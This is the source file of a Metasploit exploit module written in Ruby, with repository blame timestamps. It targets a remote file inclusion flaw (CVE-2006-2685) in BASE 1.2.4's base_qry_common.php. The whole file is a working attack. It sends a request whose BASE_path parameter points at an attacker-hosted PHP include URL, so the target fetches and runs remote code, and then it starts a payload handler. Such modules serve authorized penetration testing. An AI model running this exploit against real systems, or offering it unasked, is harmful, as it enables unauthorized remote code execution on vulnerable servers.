metasploit-framework/modules/exploits/unix/webapp/base_qry_common.rb

71 lines
1.9 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'BASE base_qry_common Remote File Include',
'Description' => %q{
This module exploits a remote file inclusion vulnerability in
the base_qry_common.php file in BASE 1.2.4 and earlier.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2006-2685' ],
[ 'OSVDB', '49366'],
[ 'BID', '18298' ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
'Space' => 32768,
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jun 14 2008',
'DefaultTarget' => 0))
2013-08-30 21:28:54 +00:00
register_options(
[
OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/base/base_qry_common.php?BASE_path=!URL!"]),
], self.class)
end
2013-08-30 21:28:54 +00:00
def php_exploit
2013-08-30 21:28:54 +00:00
timeout = 0.01
uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
print_status("Trying uri #{uri}")
2013-08-30 21:28:54 +00:00
response = send_request_raw( {
'global' => true,
'uri' => uri,
},timeout)
2013-08-30 21:28:54 +00:00
if response and response.code != 200
print_error("Server returned non-200 status code (#{response.code})")
end
2013-08-30 21:28:54 +00:00
handler
end
end